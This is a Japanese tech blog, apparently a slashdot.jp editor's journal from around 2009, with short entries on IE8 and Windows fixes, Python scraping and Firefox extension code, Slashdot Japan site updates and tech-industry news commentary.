term タグ別の記事一覧

IE8を入れたらExplorerが新しいウィンドウで開く件について

Internet Explorer 8をインストールしたら、なぜかエクスプローラでフォルダを開くとき、毎回新しいウィンドウで開いてくれるように。フォルダオプションで「別のフォルダを開くときに新しいウィンドウを作らない」を指定してもダメ。レジストリ上ではこの指定は反映されているようなのに。

しょうがないのでググったところ、 Google Groupのmicrosoft.public.internetexplorer.general で解決策発見。

  1. スタートメニューのアクセサリ→コマンドプロンプトを右クリックして「管理者として実行」をクリック
  2. コマンドプロンプトに「regsvr32 actxprxy.dll」と入力、Enterキーを押す

これで直った。しかし、actxprxy.dllがいったい何なのかはまったく分からん(汗)。ActiveX Proxyなのか? しかしこれがなぜExplorerの挙動に影響を与えるんだ? Windowsは難しい……。

Permalink | コメントを読む | hylomの日記

IE8入れた

Internet Explorer 8、さっそく導入してみました。
とりあえず速い。/.JでD2もアレたまもとりあえず動く。致命的なレイアウト崩れもとりあえずは見あたらないし、これは良いブラウザじゃないですかね。

ということでしばらくFirefoxと併用してみる予定。

# It’s all textと/.JextとFirebugが手放せないのでFirefoxからは逃れられませんがw

Permalink | コメントを読む | hylomの日記

音楽専用・高級USBメモリが盛り上がっていますが

今度は「音楽専用」高級USBメモリが登場 というストーリーで盛り上がっていた高級USBメモリ「USB-5」について、 ファンの方 がblogで下記のような発言をされておりました。

相変わらず外野は「データが一緒なら音は一緒」の一点張りで、実際に聴いて実験してみたけど音は一緒だったという報告は皆無である。何も19,000円出してUSB-5を買って試せと言ってるんじゃない。それこそ600円のUSBメモリーでいいから、音楽データをコピーして、ハードディスクからの再生音と比べればいいだけだ。

これを受けて、実際にテストした人がついに登場しました( USBメモリーで本当に音が変わるのか? – hClippr編集室ブログ )。

もちろん、結果は変わりませんでした。さぁ、どう反論するのか? 非常に興味深いところです。

Permalink | コメントを読む | hylomの日記

新iPod shuffle買った

Apple Store渋谷に行ったらあったので購入。iPod 4G→iPod shuffle 2G→iPod classicとずっと白orシルバーだったので、今回は黒にしてみましたが、iPodらしくありません(汗)。

注目の「喋る」機能はそこそこ実用的。予想外だったのが、イヤホンに付いているリモコンは右耳側にあるので、左利きの自分にはちょっと操作しにくい。

しかし最大の問題は、iPod classicの満足度が高すぎてわざわざshuffleを使うケースがあまり無いこと(汗)。iPod classicに喋る機能が追加されないかなぁ……。

Permalink | コメントを読む | hylomの日記

うひぁー/.Jの一部のRSSフォーマットが変わってるー

/.Jの一部のRSSフィードの中身が変更された模様。そのため、日記RSSには(タグなどを含めて)エンコードされた日記本文ではなく、(HTMLタグを全部取っ払って)plain-text化された日記本文が入るようになった模様。

スラド日記のRSSを取ってきてごにょごにょして生成していたページの本文が全部真っ白になっていて気付きましたorz

これだとAタグとかの情報が抜けてしまうので、RSSで更新を検知したら本文HTMLを取得するように改造しますかね……。

Permalink | コメントを読む | hylomの日記

激安チューナーでTS抜き

以前「 激安USB地デジチューナー、視聴ソフトのバイナリ書き換えで著作権保護をスルー可能? 」で話題になったDY-UD200、MPEG-TSファイルの保存もできるようになっていた。

で、話題になった当初にとりあえず通販で購入していたわけだが、まだ発送用の外箱(段ボール)すら開封していません(汗)。

別にいまのところ録画して保存しておきたいTV番組はないし、面倒くさいという理由で放置しているわけなんだが、録画したいTV番組は突然現れるわけで準備だけはしておこうかねぇ……。

# Linuxで動けば話は早かったのだが

Permalink | コメントを読む | hylomの日記

Botで/.Jにログインさせようとすると……

Pythonでスクレイピングしてみようと、下記のようなコードを書く。

login_param = {
  "op":"userlogin",

  "unickname":"",

  "returnto":"http://slashdot.jp",

  "upasswd":"",

#  "login_temp":0,

  "userlogin":"ログイン",

}

 

login_param["unickname"] = loginname

login_param["upasswd"] = passwd

 

encoded_data = urllib.urlencode( login_param )

 

obj = urllib.urlopen(OTP_LOGIN_URL, encoded_data )

print obj.info()

で、これでログインさせようとすると、下記のようなヘッダが返ってくる。

Date: Fri, 06 Mar 2009 03:00:13 GMT
Server: Apache/1.3.34 (Debian) mod_gzip/1.3.26.1a mod_perl/1.29

SLASH_LOG_DATA: shtml

X-Powered-By: Slash 2.005001233

X-Bender: Senseless death! The folk singer's best friend!

Vary: Accept-Encoding

Connection: close

Content-Type: text/html; charset=utf-8

「X-Bender:」の内容は毎回ランダムに変わる。Cookieが返って来ていないのでもちろんログイン失敗なのだが、どうもボットかどうかをこちらが送るヘッダで判断しているようだ。ということで、今度は下記のようなコードでやってみたら成功。

login_host = "slashdot.jp"
login_path = "/login.pl"

 

login_param = {

  "op":"userlogin",

  "unickname":"",

  "returnto":"http://slashdot.jp",

  "upasswd":"",

#  "login_temp":0,

  "userlogin":"ログイン",

}

 

login_param["unickname"] = loginname

login_param["upasswd"] = passwd

encoded_data = urllib.urlencode( login_param )

 

headers = {

  "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729) "

  "Content-type": "application/x-www-form-urlencoded",

  "Accept": "text/plain",

}

 

obj = httplib.HTTPConnection( login_host )

obj.request( "POST", login_path, encoded_data, headers )

resp = obj.getresponse()

headers = resp.getheaders()

 

for item in headers:

    print item

しかしやっぱり変なヘッダは返ってきていたり(笑)。

x-leela:I'm a millionaire! Suddenly I have an opinion about the capital gains tax.

Pythonは標準でWWWアクセスを行うモジュールが付属しているのはとても良いのだが、いまいちどれを使うべきかで混乱するな。urllib2を使えばヘッダを自由にいじれるようだけど、それならhttplibでごそごそやったほうが直感的ではある。

Permalink | コメントを読む | hylomの日記

マジコン販売差し止め、ヤフオクにも

DSマジコン訴訟で東京地裁が輸入・販売の差し止め命令 」が出ました。ということで、 ヤフオク でも出品中止に。

個人的にはマジコン擁護派なんだけど、こんな状況になっちゃったからには規制もしょうがないかなぁ、という感じ。 なんか逆ギレしている人も出てきている ようですが、秋葉原の裏通りのアレゲな店で家族連れがマジコン買っているところを見てしまうともう何とも言えませんよ。

しかし、マジコンなんかファミコンの時代からあったのになんで今頃こんなにブームになっちゃったんだろうか。やっぱりネットの影響なんですかねぇ。

ここ最近の潮流として、アレゲなネットユーザーが盛り上がってから10年後に一般ユーザーにもそれが波及して社会問題になって取り締まられる、という例が多いような気がする。Winnyしかり、音楽の違法アップロードしかり、マジコンしかり。ということは、10年後ぐらいには地デジチューナー違法改造や携帯電話のJailbreak辺りが一般人の間でもブームになって取り締まられたりするのだろうか。まぁ、地デジが10年後も今のシステムで動いているかどうかは謎だけど。

Permalink | コメントを読む | hylomの日記

EmacsでPythonコードのタブ幅を4に

GNU Emacs 22.2.1 (i386-mingw-nt6.0.6001)でなんかTabでインデントしたPythonコードのインデント幅が8になって気持ち悪いので設定変更。

;;python-mode
(add-hook 'python-mode-hook

      '(lambda()

         (setq indent-tabs-mode t)

         (setq indent-level 4)

         (setq python-indent 4)

         (setq tab-width 4)))

M-x customizeで変更できないかな、と思ったらダメだった。

Permalink | コメントを読む | hylomの日記

たまには編集日記

ソフトバンクモバイル、イー・モバイル網利用のPCデータ通信サービス発 」は元タレコミにかなり手を入れたので、珍しくログを置いておきます。

カットしたのは下記。

ただ (個人的に) 懸念していた通り、「データ定額ボーナスパック」は料金が得になる分、ソフトバンクモバイル回線が「抱き合わせ」で付いてくる。簡単にまとめると次のようになる (プランのカッコ内は付いてくるUSIMで利用可能な回線)。

        データ定額ボーナスパック (EM+SBM)
                1,000円?4,800円+従量部分

        データ定額プラン (EM)

                2,000円?5,980円

        データ従量プラン (SBM)

                4,480円+従量部分

        ここまで露骨なことをやるのもなかなかすごいものがある。それはされおき、

  • セット前提ではなく単体でも契約は可能なので、抱き合わせ販売というのはいかがなものか
  • 「露骨なことを……」の下りは何を言いたいのかよく分からなかった

という理由でカット。

追加したのは下記。

データ定額プランとデータ従量プランはそれぞれ異なるUSIMカードを使用するとのことで、データ定額ボーナスパックを契約した場合定額用と従量用の2枚のUSIMカードが提供される。

定額プランはイー・モバイルのサービスエリア内でのみ利用可能とのことで、データ定額ボーナスパックの場合定額プランが利用可能なエリアでは定額プラン用のUSIMカードに、それ以外のエリアで従量課金で利用したい場合は従量プラン用のUSIMカードにそれぞれ差し直す必要がある。

なお、料金はデータ定額プランが月額2,000円?5,980円のいわゆる「2段階定額制」(1パケット0.042円)、データ従量プランは月額4,480円+従量課金(1パケット0.084円)、データ定額ボーナスパックが月額1,000?4,679円(定額部分)+従量課金となる。

USIMが二枚、という話と、定額パックはイー・モバイルエリアでしか使えないという話がなかったので追加。料金についてはdl/dt/ddタグが見にくかったので整理した。

Permalink | コメントを読む | hylomの日記

Intel V.S. NVIDIA訴訟

PC Watchで、IntelとNVIDIAの訴訟の件についてNVIDIAのチップセット部門のゼネラルマネージャへのインタビューが掲載されている( 記事 )。

非常に突込んだインタビューで興味深い。NVIDIAはチップセットビジネスをやめる気はさらさら無いようで、成功する自信もあるようだ。

しかし、「我々も休日に出かけており、夜に帰ってきたら、Intelが我々に対して訴訟を起こしたという連絡がきたのです」って、狙ってやったんだったらIntelセコイなぁ。たまたまなのかもしれないけど。

Permalink | コメントを読む | hylomの日記

PSP Filerに寄付してみた

PSP Filer、昔はよく使っていたんだけど、最近はメディアインストール機能が搭載されたゲームが増えてきたのであまり出番がなく、そんなわけで事件になっていたなんてまったく知りませんでした。

ということで、とりあえずPayPalで寄付してみる。しかし、PayPalって結構な手数料取ってくんじゃなかったっけ? それを考えると、$10というのはかなり少ない額という気が。

Permalink | コメントを読む | hylomの日記

そしてドブログ、まだまだ復旧作業中

NTTデータの ドブログ 、障害発生から10日が過ぎてもまだ復旧作業中。営業日換算でも7営業日が過ぎました……。

「2008年8月4日の未明時点までのデータについては、復旧の見込み」「2008年8月4日から2009年2月8日朝までのデータについてはできる限り復旧させる」という状況だそうで。

「とりあえず稼働は再開させて、過去のデータについては追って復旧」という対応とは考えないんすかねぇ。ブロガーにとっては、とりあえず書く場所がないことが一番の問題なような気がするんだけど。

Permalink | コメントを読む | hylomの日記

Intel V.S. NVIDIA V.S. AMD三つどもえの戦いに

IntelがNehalem用チップセットの開発差し止めを求め、NVIDIAを提訴したことが話題になっているのだが、このネタを考察した記事が2本、PC Watchに掲載されている。

しかし、 笠原一輝氏の記事 は将来的にGPUがCPUの処理を奪うのでは、そのためにIntelがNVIDIAを攻撃しているのでは、という予測をしているいっぽう、 元麻布氏の記事 は将来的にCPUがGPUの機能を統合するのでは、という視点で今回の事件を考察していて、視点の違いが面白い。といっても、結局劣勢なのはNVIDIAという意見では一致しているのだが。

ただ、どちらの予想も少なくとも数年後の話ではないとは思う。ローエンドではGPU内蔵のCPUというのはメリットがあるが、ハイエンドではやはり外付けGPUが主流のままだろうし、そのために別の製品ラインを作るのも無駄だろう。ということで、結局はIntelは自社のGPU内蔵チップセットを守りたい、という単純な話なのではないでしょうかね。

Permalink | コメントを読む | hylomの日記

FreeBSD 6/7のtelnetdに脆弱性

FreeBSD 6および7のtelnetdに、リモートからroot権限でのコード実行が可能となる脆弱性があった模様。対象はFreeBSD 7.0-RELEASEと7.1-RELEASE、7-STABLE、8-CURRENT。 セキュリティアドバイザリ も出ている。

一昨日くらいにちらりと聞いてスルーしていたのだが、この問題を受け、自分も使っている さくらインターネットがレンタルサーバーでのTelnet接続の提供を終了 している。個人的にはSSHを使っていたので問題ないのだが、逆にまだTelnet接続を提供していたことのほうにちょっとびっくりした。

# それよりもPythonのバージョンをせめて2.5に上げてほしいのだが、それは全然関係ない話ということで。

Permalink | コメントを読む | hylomの日記

「表現の自由が大幅に削られてかまわない」?

鳩山総務相発言「(児童ポルノは)断固として禁止するべきだ。表現の自由で守られる法益と、児童ポルノで失われる人権を比較すれば、表現の自由が大幅に削られてかまわない」( 朝日新聞 )。

これはダメだろう……。「表現の自由は最大限に尊重するが、そのいっぽうで児童ポルノで失われる人権を考えると児童ポルノは断固として禁止するべきだ」とか言えばよいのに。失われたものはなかなか返ってこないんだぜ。

Permalink | コメントを読む | hylomの日記

国民投票

久しぶりに国民投票がネタ切れ。

「2/14の成果」( http://slashdot.jp/firehose.pl?op=view&id=60744 )がタレコミにはあったけど、もらえなかった方々(主に自分w)の傷に塩を塗り込むような気もしたのでとりあえずスルーしました(汗)

ということで、今週の国民投票は独断と偏見で新聞ネタ。新聞離れがささやかれていますが/.Jのユーザー層である20代後半?40代は新聞を読んでいらっしゃるんですかね?

Permalink | コメントを読む | hylomの日記

マイクロソフトのキャンペーン

とりあえず自分もやってみた。一応すべて60点以上だったけど、MS固有の話だからちょっとしんどい……。

しかし、/.Jのコメントから見るに応募者は多くなさそうだったんだけど、どうなんだろう。とりあえず自分では絶対買わないけど、持っていて損はないVSを選択して応募してみました。当たるといいなぁ(笑)

Permalink | コメントを読む | hylomの日記

「首相にふさわしい人」、「いない」が30%でトップ。小泉氏の倍以上

『首相にふさわしい』小泉さんトップ、麻生さんに大差

という風に言われると麻生さんが不人気のように見えるけど、

「『首相にふさわしい人』、『いない』が30%でトップ。2位・小泉氏に大差」

という風にするとあら不思議、政治不信のお話に。

というか、「いない」が30%と小泉氏14.4%の倍以上なのに小泉氏を「トップ」というのもどうなのかと。

Permalink | コメントを読む | hylomの日記

AC排除はしないんじゃない?

私の意見としては、AC排除には反対。コメント数や新規ユーザーが減る、というデメリットは見えるが、明確なメリットは見えてこない。

ということで、AC嫌いな皆さんへ。

「設定」→「コメント」の「その他のスコア補正」で、「匿名投稿に対するスコア補正」を-6に設定し、コメントの閾値を0に設定すればACは見えなくなります。D2を使っている場合、この状態でスライダを一番右(もしくは下)から一ステップだけ動かせばAC投稿だけ非表示に。あとは署名あたりで「ACは見えません」とか書いておけば。

Permalink | コメントを読む | hylomの日記

IPAネタ

IPAの情報流出ネタが2ちゃんねるあたりで色々と大変なことになってる模様。

誠天調書: IPA情報流出事件 080122追記 独立行政法人IPA情報処理推進機構 の特別な事例 だと思う人がいるのでしょうか?w

まぁ、ネタがネタなので一般マスコミでは追えないネタかとは思うが週刊誌あたりがまとめてくれないかねぇ。

Permalink | コメントを読む | hylomの日記

文句をいわれるのはいっこうに構わないのだが

About us に書いてある/.J運営宛てメールアドレスに、「キ○ガイhylomをなんとかしろ」メールが届いたそうです……。ちょっとクラッとしました(笑)。

どうぞ私に関するご意見・文句・罵詈雑言・誹謗中傷は色々なところに巻き散らかさずにこの日記のコメントにお願いします、といいたいところなんですが。

(以下、追記@14:12)
notify【あっとまーく】hylom.sakura.ne.jpでもご意見を受け付けております。ただし、基本的にいただいたご意見はhylomの日記などですべて公開させていただきますので、その点はご注意ください。また、その際に見るに堪えない表現や個人情報など、公開すべきでないと判断した部分につきましては適宜編集を加えますのでご容赦ください。

Permalink | コメントを読む | hylomの日記

アレたまの挙動が相変わらずよく分からない

  • スコアが紫の日記で、スライドバーを紫に設定したときに表示されるものと表示されないものがある
  • スライドバーを黒に設定するとスコアが紫の日記は(たぶん)すべて表示される

という謎の挙動が。もしかして紫未満、黒以上というスコアが存在するのだろうか。でもスライドバーを黒にするとコメントが表示されてうざいんですよね……。

Permalink | コメントを読む | hylomの日記

/.J:FAQにD2の項目を追加しました

英語の読めないhylomです、部門より。

いままでなにも(日本語の)ドキュメントが無かったD2ですが、とりあえず本家/.のドキュメントを翻訳してFAQに追加しました。

コメントとモデレーション の『「D2」「Discussion2」「ディスカッション2」って何?』以下がそのドキュメントとなっております。

D2はキーボードショートカット機能やスライダの位置変更機能など、意外に多機能です。D2ユーザーはぜひ目を通してみてはいかがでしょうか。

Permalink | コメントを読む | hylomの日記

スラッシュドットらしさ(笑)

昨日、本家Slashdot事情に詳しい方に話を伺ったのだが、本家では「Slashdotの動作がおかしい」というのは当たり前で、ユーザーもそう思っているらしい(ネガティブな意味ではなくて)。Slashdot自体がいわゆる「Unstable」な状態で、毎日毎日(でもないかもしれないが)頻繁にアップデートされ、大規模なテスト無しに実運用されているそうだ。感覚的には、Debianの「Unstable」のような感じらしい。で、本家の人たちは変な所を見つけると「Oh! これ動きがおかしいぜ!Slashdotらしいぜ!」と思うらしい(笑)。

あと、/.Jの人が本家に「IEサポートはどうなのよ?」と聞いたら、「IE?あんなのサポートしないぜ」ぐらいの勢いで対応のやる気の無さを見せつけられたとか。

すばらしい発想の転換である。「バグのないSlashdotはSlashdotじゃない」のね。バグを見つけたら自分で原因を見つけてパッチを送る、それがSlashdot。自分もそのSlashdotizmを見習って、とりあえずコードを読んでみようかと思います(汗)。

Permalink | コメントを読む | hylomの日記

スラッシュドット新機能

無事/.Jのアップデートが完了したようです。が、アレたまの動きが……。ちゃんと動いたり動かなかったり。でも、「-feed」とか「-story」とか「submission」はちゃんと動くみたいなので、とりあえずは問題なしかな。

トップページの右サイドバーのワイド化は、フォントサイズを下げたら違和感が無くなった。むしろ、左サイドバーが邪魔になった。オプションで左サイドバー消せるとよいのだが。

ちなみに、本家/.はログインユーザーは右サイドバーの大きさを選択できる仕様になっています。/.Jでもこの仕組みは採用されるんじゃないかなぁ。

D2はいい感じ。コメントのプレビューがその場でできるのが一番の改善点じゃないですかね。

全日記のアレたま入りは、現状のアレたまではいかんせん評価できない……。アレたまに限らず、ところどころJavaScript周りでおかしいところがある、という話が挙がってますが、tachさんが色々と細かいところを見ているみたいなので、数日中には安定するのでは。

(追@19:00)
すっかり忘れてたので追記。/.JはIE6非推奨です。ていうかスルー気味に近いです。自分もFirefoxかSafariでしか見てないですし、tachさんは基本的にDebian上のIceweaselを使っているそうです(一応IEでも確認はしますが、コンテンツが読めないなど、致命的なトラブル以外は積極的には対処しない、という話)。

Permalink | コメントを読む | hylomの日記

Macworld Conference&Expo 2009 基調講演まとめ

多くのMacユーザーが注目するであろう、Macworld Conference&Expoがスタートしました。毎年新製品や新サービスが多数発表される基調講演は、今年は残念ながらCEOのジョブズ氏ではなく上級副社長のフィル・シラー氏によって行われましたが、それもあってか今年はあまり目立ったネタがないようです。

すでに多くのメディアで取り上げられていますが、今回の基調講演の要点は次のような感じです。

  • iLife、iWorkのアップデート

  • iPhotoにFlickrなどのWebサイトとの連携機能追加

  • GarageBandにギターやピアノの教則ビデオ再生機能(有料)が追加。ビデオは4.99ドル/本で配信。北米だけで利用可能

  • iWorkはオンライン対応に。iWork.comで作成したドキュメントをシェア可能に。シェアされたドキュメントはiWorkを持っていなくても、Webベースで閲覧/編集可能

  • 日本ではiLife、iWorkともに販売価格を1,000円ほど値下げ。iWorkをMacと同時購入すると5,800円に。

  • 17インチMacBook Pro発表

  • iTunes Storeでの楽曲販売価格を69セント/99セント/1ドル29セントの3段階制に。DRMフリー楽曲数を強化し、今年中には全楽曲がDRMフリーに? で、Snow Leopardはいつなんだ?

[参考リンク]

Permalink | コメントを読む | hylomの日記

スラッシュドット・ジャパン要望/バグチケットのお掃除

/.Jへの要望やバグ報告は、 SourceForge.JPのチケットシステム で管理しています。年も明けたと言うことで、現在登録されているチケットのチェックとお掃除をしてみました。

とりあえず、ざっと見た感じで解決しているものについてはチケットをcloseしました。トピックの追加やアイコンの変更などは今のところ未定なので、プライオリティを下げました。あと、しばらく手がついていない古いチケットについてもプライオリティを下げました。

しかし、これで少しはオープンされているチケットを減らせるかな、と思ったら全然減っていない……。現在tach氏はslashcodeのアップデートと新機能導入でいっぱいいっぱいのようなので、しばらくはバグ潰し/挙がっている要望の実装はできなさそうです。

こんな状況ですが、機能要望やバグ報告などは上記のチケットシステムで受付中です。なにかありましたらこちらまでお寄せください。

Permalink | コメントを読む | hylomの日記

mixiに「足あと削除機能」が実装される

mixiの特徴的機能の1つに、自分のページにアクセスしたユーザーを確認できる「足あと」機能がある。この足あと機能がアップデートされ、どうやら自分が残した足あとを削除する機能が実装されたようだ。

mixiの「自分の足あとはどうやって削除できますか?」ヘルプページ (会員専用)には、次のように記述されている。

「自分の足あと」に表示されるニックネームの横にある「×」から、削除することができます。

自分が訪問した先の日付とニックネームが一覧でならんでいます。その右横にある「×」をクリックして削除してください。

  • 削除件数は最大10件/月です。
  • 削除件数は次の月になると、10件に戻ります。
  • 削除後に同一日でも再度訪問すると、足あとは残ります。一度削除した足あとは元に戻せません。

具体的には、今回の機能アップデートにより、自分の「足あと」ページに「自分の足あと」というタブが追加された。ここには自分がアクセスしたユーザーページの一覧が表示されており、ユーザーを選択して横の「×」ボタンをクリックすることで、つけた足あとを削除することができる。ただし、削除できる足あとは月10件に制限されている。

昔から「mixiで足あとを付けずに他のユーザーの情報を見たい」という要望は 多く見られた が、まさか公式に実装されるとは思わなかった。

Permalink | コメントを読む | hylomの日記

GIGAZINE、FreeBSDを試す

GIGAZINEに『Yahoo!やライブドア、2ちゃんねるなどの大規模サイトで採用されている「FreeBSD」をインストールしてみた』という記事が掲載されている。


なんで今更、とか思ったのだが特に何か面白いことがあったわけではなく、普通のインストール記事でした。信頼性が高く、高負荷時にも最高のパフォーマンスを発揮するサーバを検討する必要に迫られたので、いろいろと探してみた結果、Yahoo!やライブドア、2ちゃんねるなどの大規模サイトで採用されている「FreeBSD」を試してみることになりました。とのことらしいのだが別にFreeBSDを入れれば即高性能サーバーになるわけではないのだが、と突込みたいところ。



そしてはてブのコメントはまぁ予想通り。

実家の無線LANがセキュリティなしだった

実家に1年ぶりに帰ってきたら、なんか無線LANが導入されてました。そして見事にSSIDまる見え/パスワードなし/暗号化なし……。おまけにルーターの設定画面へのログインもroot/パスワードなしでできるという。

おそろしくて自分のMacBookを繋げる気になれないので、とりあえずルーターのある部屋に持ち込んで有線接続……。おそろしや。

Permalink | コメントを読む | hylomの日記

/.Jロゴ クリスマスバージョン

/.Jのロゴがクリスマスバージョンになりました。

前回のバイナリデーのときと違い、今回は特にコンテンツを用意しているわけではないのですが、こういう季節ネタは今後も続けていく予定です。

ちなみに、このロゴは実は広告サーバー経由で表示させているので、AdBlockなどの広告ブロッカーを使っている場合や、ウイルス対策ソフトなどのURLフィルタを有効にしている場合、表示されない場合があるようです……。

Permalink | コメントを読む | hylomの日記

/.Jの広告収入を考える

スラッシュドット、もし有料化されたらいくら出せる? にあった コメント#1476326

まとめサイト等を運営している人の広告収入から推測するとをココなら月1000万円超えているでしょ?

まじっすか! そんなに稼げるなら俺自前でサイト立ち上げるよ!(棒読み)。

実際のところ、/.Jはクリックで料金が発生する広告ばかりなので、表示されている広告の数の割に収入は多くない。 /.Jの月間PVは1500万 となっているが、その1%がクリック、クリック単価が10円としても150万/月にしかならない。単価はもちろん広告ごとに変動するが、単価の高いといわれている「いかがわしい系」や「消費者金融系」などはフィルタされているので、平均単価はそう高くないだろう。また、クリックする人の割合も、リテラシの高いユーザーが多い/.Jの場合、1%もあるかどうか疑問である。

つぅか現在月間1000万以上の広告費を稼げるメディアなんて、新聞とTVと超大手企業サイトと大手週刊誌くらいしかないんじゃないですかねぇ。

Permalink | コメントを読む | hylomの日記

私的録音録画小委員会にて、ダウンロード違法化の方針が承認、再来年の施行目指す

文化庁の文化審議会著作権分科会 私的録音録画小委員会が16日開催され、ダウンロード違法化の方針を承認するとともに、私的録音・録画補償金制度の見直しに関する議論を今回で終了することを決めた( 日経ITproの記事 )。

携帯音楽プレーヤーなどを補償金の対象とする、いわゆる「iPod課金」については結論は見送られたものの、違法にアップロードされた録音録画物のダウンロードを違法化する「ダウンロード違法化」については、以前にも報じられていたとおり進められることとなり、今後文化庁が著作権法改正案をとりまとめ、次期通常国会で法案提出を行う予定とのことだ。

47News などでは、

著作権者の許諾を得ずにインターネット上に流された携帯電話の着信メロディーや動画を、個人などが入手することを法律で禁止するよう求める報告書をまとめた。(中略)文化審が昨年行った国民からの意見募集では「違法サイトを見分けるのは困難だ」などの理由で法規制に反対する意見が目立ったが、正規の音楽配信サイトへの適法マーク表示などで、違法サイトと区別しやすくなってきたため、文科省は法改正に踏み切る考え。

のように報じられている。

しかし、私的録音録画小委員会に委員として参加していた ITジャーナリストの津田大介氏が発言している ように、法律が制定されたところで果たして経済的な効果があるのか疑問ではある。3年後のコンテンツ制作・流通・消費エコシステムがどうなっているかは分からないが、この決定は日本のネット業界にどのような影響を及ぼすのだろうか?

Permalink | コメントを読む | hylomの日記

Mac再インストール

自宅のメインマシンでもあるMacの動作が激しく怪しくなったので再インストールした。具体的な症状としては、

・Finderが起動しない
・ログアウトできない

・いくつかのアプリケーションでUIが英語表示になる

など。職場にあるMacも同じ症状になっていたので、ソフトウェアアップデートに地雷的な何かが埋まっていたのかなぁ、などとも思いつつ、対処方法が分からなかったのでTimeMachineでバックアップ→再インストール。ホームディレクトリ以下や各種設定、インストール済みアプリケーションはそのままでとりあえず復活。

そして再インストール作業中はEee PC 901でネットしたりしていたのだが、やっぱりEee PC 901はトラックパッドが使いにくい。ドライバ入れ替えてマルチタッチを有効にはしているけど、そもそもトラックパッド自体の反応がよろしくないような。あと、加速感が微妙。予想外にポインタが移動しすぎたり、逆に移動しなかったりで非常に使いづらい。ドライバでなんとかできないもんかねぇ。

Permalink | コメントを読む | hylomの日記

SPAM、ついに日本本土へも本格上陸

SPAMがついに日本本土へも本格的に上陸するそうだ

SPAMは現在でも大手スーパーや輸入食品店で販売されているが、米ホーメルフーズが伊藤忠商事と輸入代理店契約を結び、本格的な流通・販売を行うとのこと。

個人的にはSPAMオムレツが好きなのですが、入手性と値段が若干ネックだったので、もう少し安く手軽に手に入るといいなぁ、とか思う。つうかSPAM一缶でサバ缶4、5個買えるとなるとついサバ缶買っちゃうよ……。

Permalink | コメントを読む | hylomの日記

産経新聞、最新の全紙面を新聞のままのレイアウトで読める無料iPhoneアプリを公開

産経新聞が、最新の全紙面を新聞のままのレイアウトで閲覧できるiPhoneアプリを公開した。ダウンロードは無料で、新聞の閲覧も無料で行える( 産経新聞のiPhoneアプリ紹介記事 )。

紙面データは本体にキャッシュされて表示されるため、一度ダウンロードが完了すれば地下鉄などの電波の届かない場所でも閲覧が可能。初期画面では紙面全体が縮小されて表示され、タップやピンチ操作で拡大・縮小したり、タッチでスクロールしたりして記事を閲覧できる。

試しに使ってみたところ、紙面データはすべて画像としてロードされるため、ダウンロードや拡大・縮小が若干重いものの、使い勝手は非常によく、紙の新聞に近い感覚で閲覧できる。

SFアニメ/映画などで、未来の新聞として「新聞データをダウンロードしてビューアで見る」ような描写が見られるが、それがついに実現したか、と思うと感慨深い。

Permalink | コメントを読む | hylomの日記

Slashdot Extension rev.40

Slashdot Extension開発版アップデート。個人的に欲しかったので検索バーを作ってみた。

検索バーの作り方は MDC にはあまり記述がない。簡単にできるかと思ったらちょっとはまった。ちなみにFirefox 3.1ではもう少し楽に作れるようだ。

まず、browser.xulへのoverlayに下記を追加。ツールバーにボタンを追加する場合はを使ったが、それ以外のUI要素を入れるにはで要素を囲む。今回はとりあえずテキストボックスのみ。ちなみにのtitleはツールバーパレットで表示される。




 

   
             newlines="replacewithspaces"

             emptytext="&slashext_searchbox.empty;"

             onkeypress="slashext.searchKeyPress(event);"

             />

 



newlines=”replacewithspaces”を指定すると、複数行をコピー&ペーストした場合に改行をスペースに自動変換してくれる。また、emptytextを指定すると、テキストボックスが空の場合にグレーで指定した文字を表示してくれる。今回は「スラッシュドット検索」としてみた。あとはCSSで高さと幅を調節。Googleツールバーのように可変幅にしたかったのだが、面倒そうなので今回はとりあえずナシ。

で、textbotではenterキーを入力してもoncommandイベントは発生しないので、onkeypressイベントで自前でキー入力をチェックし、Enterキー入力で検索を行うようにする。コードは下記。

    searchKeyPress : function(event) {
        if( (event.keyCode == 13) || // DOM_VK_RETURN

            (event.keyCode == 14 ) ) { //DOM_VK_ENTER

            var text = document.getElementById("slashext-searchbox").value;

            this.searchSlashdot( text, (event.metaKey|event.ctrlKey|event.altKey) );

        }

    },

キーがReturnもしくはEnterなら、検索関数を呼び出す。検索関数を呼び出す際はMeta/Control/Altキーが押されているかをチェックし、どれかが押されていれば新規タブで検索結果を開くようにする。

検索関数は下記のようにしてみた。/.orgと/.jp両対応なので、オプション設定をまずチェックし、開くURLをセット。また、オプション設定で「スコア順」「日付順(降順)」「日付順(昇順)」のどれで検索するかを事前に設定しておき、その値によってパラメータを変える。あとはそのURLを開く/新規タブで開くだけ。

    searchSlashdot : function( str, isNewTab ) {
 

        var prefSvc = Components.classes["@mozilla.org/preferences-service;1"]

        .getService(Components.interfaces.nsIPrefService);

        var prefBranch = prefSvc.getBranch("extensions.slashext.");

        var strTarget = prefBranch.getCharPref("target");

        var strOrder = prefBranch.getCharPref("default_search_order");

 

        var browser = document.getElementById("content");

        var url;

        var encoded_str = escape(str);

 

        if( strTarget == "jp" ) {

            url = "http://slashdot.jp/search.pl?q=";

            url = url + encoded_str;

 

            switch(strOrder) {

            case "score":

                break;

            case "ascend":

                url = url + "&order=%40cdate+NUMA";

                break;

            case "descend":

                url = url + "&order=%40cdate+NUMD";

                break;

            }

 

        } else { // strTarget == "org"

            url = "http://slashdot.org/search.pl?query=";

            url = url + encoded_str;

 

            switch(strOrder) {

            case "score":

                url = url + "&sort=2";

                break;

            case "ascend":

                url = url + "&sort=1";

                break;

            case "descend":

                url = url + "&sort=1";

                break;

            }

        }

 

        if ( isNewTab ) {

            var tab = browser.addTab(url);

            browser.selectedTab = tab;

        } else {

            browser.loadURI(url);

        }

 

    },

/.本家の検索と/.Jの検索は微妙に仕様が違うのが面倒。さらに本家はソート順がスコアと日付(降順)しか選択できないことに気付く……。

Permalink | [コメントを読む][3] | < a href="http://slashdot.jp/~hylom/journal/“> hylomの日記

urnal/460941 [3]: http://slashdot.jp/~hylom/journal/460941#acomments

ホリプロ会長やJASRAC理事ら、「コンテンツに必要なのは流通ではない」と主張

